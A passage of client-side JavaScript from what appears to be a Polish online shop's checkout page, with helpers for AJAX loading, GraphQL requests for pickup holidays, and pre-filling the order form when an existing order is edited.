app_shop.fn.ajaxLoadSite(0);
|
|
}
|
|
|
|
///////////////////////////////////////////////////////////////////
|
|
// RESZTA
|
|
|
|
// Wyłącz scrollowanie dla strony
|
|
function disablePageScroll(){
|
|
const documentBody = document.querySelector("body");
|
|
documentBody.style.paddingRight = `${15 + window.innerWidth - documentBody.clientWidth}px`;
|
|
documentBody.style.overflowY = "hidden";
|
|
}
|
|
function enablePageScroll(){
|
|
const documentBody = document.querySelector("body");
|
|
documentBody.style.paddingRight = "15px";
|
|
documentBody.style.overflowY = "auto";
|
|
}
|
|
|
|
// Zmiana funkcji by naprawić bugi
|
|
app_shop.fn.load = function(_url,target,callback,paramets) {
|
|
if(app_shop.vars.xhr && app_shop.vars.xhr.readystate != 4) app_shop.vars.xhr.abort();
|
|
$(target).addClass('load-content');
|
|
for(let i=0; target.length > i ; i++) $(target[i][0]).addClass('load-content');
|
|
|
|
app_shop.vars.xhr = $.ajax({
|
|
url: _url+paramets,
|
|
timeout: 16000,
|
|
success: function(data,textStatus) {
|
|
for(let i=0; target.length > i ; i++) $(target[i][0]).removeClass('load-content').html($(data).find(target[i][1]).html());
|
|
app_shop.fn.change_url(_url);
|
|
app_shop.fn.evalJSFromHtml(data);
|
|
if(callback) callback();
|
|
},
|
|
error: function(data) {
|
|
window.location.href = _url;
|
|
}
|
|
});
|
|
return app_shop.vars.xhr;
|
|
};
|
|
function throwAjaxError(e) {
|
|
-1 !== $.inArray(e, ["nocontent", "error", "timeout", "abort", "parsererror"]) && (console.log("Error:" + e), Alertek.show_alert( "Błąd podczas logowania, proszę spróbować ponownie" + " (" + e + ": " + $.now() + ")"), $.cookie("off_opc", !0));
|
|
};
|
|
async function fetchData(options = {}) {
|
|
const {data,link,linkParameter = '',alert = true} = options;
|
|
if (!data) return false;
|
|
try {
|
|
const response = await fetch(`${link || app_shop.urls.graphql || '/graphql/v1/'}${linkParameter}`, {
|
|
method: 'POST',
|
|
headers: {
|
|
'Content-Type': 'application/json',
|
|
Accept: 'application/json',
|
|
},
|
|
body: data
|
|
});
|
|
const dataJson = await response.json();
|
|
if ((dataJson?.errors || dataJson?.error) && alert) {
|
|
Alertek.Error(<iai:variable vid="Wystąpił błąd połączenia. Sprawdź łącze internetowe lub spróbuj ponownie później"/>);
|
|
}
|
|
return dataJson;
|
|
} catch (error) {
|
|
console.error('GraphQL fetchData() Error:', error);
|
|
if (alert) {
|
|
Alertek.Error(<iai:variable vid="Wystąpił błąd połączenia. Sprawdź łącze internetowe lub spróbuj ponownie później"/>);
|
|
}
|
|
return false;
|
|
}
|
|
}
|
|
// ŚWIĘTA | HOLIDAYS
|
|
const OSCOP_HOLIDAYS = () => JSON.stringify({
|
|
query: `query {
|
|
pickupPoints(courierId: 0) {
|
|
holidays {
|
|
formatted
|
|
}
|
|
}
|
|
}`,
|
|
})
|
|
async function getHolidays(){
|
|
const res = await fetchData({
|
|
data: OSCOP_HOLIDAYS(),
|
|
linkParameter: "?query=holidays",
|
|
});
|
|
|
|
app_shop.vars.holidays = res?.data?.pickupPoints?.holidays;
|
|
}
|
|
let firstTimeLoadPage = true;
|
|
function initOSCOP(){
|
|
// dodanie klasy do html
|
|
document.querySelector("html").classList.add("--place-order-page")
|
|
|
|
// Element z numerem edycji jeśli jest
|
|
const editNumber = document.getElementById("edit-number");
|
|
|
|
if(document.querySelector(".bm-oscop__container").childElementCount && !editNumber) changeRegion(null);
|
|
|
|
// Jeśli edycja zamówienia uzupełnij dane (niewiadomo jak z voucherem bo go się nie da edytować)
|
|
if(editNumber){
|
|
const ORDER_DETAILS = (orderNumber) => JSON.stringify({
|
|
query: `query{
|
|
orderDetails(${orderNumber}){
|
|
status
|
|
client {
|
|
email
|
|
phone
|
|
billingData {
|
|
companyName
|
|
taxNumber
|
|
firstname
|
|
lastname
|
|
street
|
|
zipcode
|
|
city
|
|
province
|
|
countryName
|
|
}
|
|
deliveryData {
|
|
companyName
|
|
firstname
|
|
lastname
|
|
street
|
|
zipcode
|
|
city
|
|
countryName
|
|
province
|
|
phone
|
|
}
|
|
}
|
|
payment {
|
|
paymentMethod {
|
|
id
|
|
}
|
|
isFirstPayment
|
|
}
|
|
shipping {
|
|
courier {
|
|
id
|
|
fullId
|
|
icon
|
|
name
|
|
carrierName
|
|
pickupPoint
|
|
companyKey
|
|
companyGroupKey
|
|
}
|
|
pickupData {
|
|
id
|
|
codeExternal
|
|
name
|
|
location
|
|
link
|
|
markerIconUrl
|
|
requiredClientNumber
|
|
coordinates {
|
|
latitude
|
|
longitude
|
|
distance
|
|
}
|
|
phone
|
|
address {
|
|
buildingAndHouseNumber
|
|
city
|
|
country
|
|
postcode
|
|
street
|
|
}
|
|
courierId
|
|
}
|
|
remarks
|
|
}
|
|
remarks
|
|
checkoutType
|
|
}
|
|
}`
|
|
});
|
|
|
|
// Pobranie danych o edytowanym zamówieniu
|
|
async function getEditData(){
|
|
const data = await fetchData({
|
|
data: ORDER_DETAILS(`OrderDetailsInput: {
|
|
orderNumber: ${editNumber.value},
|
|
requestSource: order_edit
|
|
}
|
|
`),
|
|
linkParameter: "?query=orderDetails",
|
|
alert: false,
|
|
});
|
|
|
|
// Jesli error to zatrzymaj funkcje
|
|
if(!data?.data?.orderDetails || !data) return changeRegion();
|
|
|
|
// Wstawienie danych
|
|
insertEditData(data.data.orderDetails);
|
|
}
|
|
function insertEditData(orderDetails){
|
|
const orderData = {
|
|
paymentMethodId: orderDetails.payment.paymentMethod.id,
|
|
deliveryMethodId: orderDetails.shipping.courier.id,
|
|
pickupData: orderDetails.shipping.pickupData,
|
|
};
|
|
// Sprawdzenie czy użytkownik miał inny adres Dostawy niż Billingowy.
|
|
let differentDelivery = false;
|
|
for(const [key, value] of Object.entries(orderDetails.client.billingData)){
|
|
if(key !== "taxNumber" && key !== "companyName"){
|
|
if(value !== orderDetails.client.deliveryData[key]) differentDelivery = true;
|
|
}
|
|
}
|
|
if(orderDetails.client.deliveryData.phone !== orderDetails.client.phone) differentDelivery = true;
|
|
|
|
// Uzupełnienie informacji innego adresu
|
|
if(differentDelivery){
|
|
// Pokazanie formularza dodatkowej dostawy
|
|
document.getElementById("deliver_to_billingaddr").checked = true;
|
|
document.querySelector(".bm-oscop__container #client_new_additional .delivery_box.cn_wrapper").classList.add("--more");
|
|
document.querySelector(".delivery__address-list-button").classList.add("--fade-in");
|
|
|
|
fillInput(document.getElementById("delivery_firstname"), orderDetails.client.deliveryData.firstname);
|
|
fillInput(document.getElementById("delivery_lastname"), orderDetails.client.deliveryData.lastname);
|
|
fillInput(document.getElementById("delivery_street"), orderDetails.client.deliveryData.street);
|
|
fillInput(document.getElementById("delivery_zipcode"), orderDetails.client.deliveryData.zipcode);
|
|
fillInput(document.getElementById("delivery_city"), orderDetails.client.deliveryData.city);
|
|
fillInput(document.getElementById("delivery_phone"), orderDetails.client.deliveryData.phone);
|
|
|
|
if(orderDetails.client.deliveryData.companyName) fillInput(document.getElementById("delivery_additional"), orderDetails.client.deliveryData.companyName);
|
|
document.querySelectorAll("#delivery_region option").forEach(opt => {
|
|
if(opt.text === orderDetails.client.deliveryData.countryName) document.getElementById("delivery_region").value = opt.value;
|
|
});
|
|
|
|
// Metody płatności i dostaw
|
|
if(document.getElementById("delivery_region").value !== document.getElementById("client_region").value) changeRegion(orderData);
|
|
else getNewPaymentsAndDeliveries(orderData);
|
|
// Jeśli nie było dostawy na inny adres uzupełnij metody dostaw i płatności
|
|
}else getNewPaymentsAndDeliveries(orderData);
|
|
|
|
// Uzupełnienie uwag dla sklepu/kuriera
|
|
if(orderDetails.remarks){
|
|
document.getElementById("shop_remarks").checked = true;
|
|
document.getElementById("order_comment_field").value = orderDetails.remarks;
|
|
}
|
|
if(orderDetails.shipping.remarks){
|
|
document.getElementById("courier_remarks").checked = true;
|
|
document.getElementById("order_comment2_field").value = orderDetails.shipping.remarks;
|
|
}
|
|
}
|
|
|
|
getEditData();
|
|
// Funkcja od uzupełnienia inputów
|
|
function fillInput(input, value){
|
|
input.value = value;
|
|
input.classList.add("focused");
|
|
input.parentElement.classList.add("--success", "has-success");
|
|
}
|
|
}
|
|
|
|
// Sprawdzenie czy schować przyczepiony przycisk od zakupu
|
|
checkIfShowAttatched()
|
|
|
|
// Ustaw numer kraju przy telefonie
|
|
createPhoneCodeList();
|
|
setPhoneCountryNumberAtStart("client");
|
|
setPhoneCountryNumberAtStart("delivery");
|
|
|
|
//pobierz święta
|
|
getHolidays();
|
|
}
|
|
initOSCOP(); |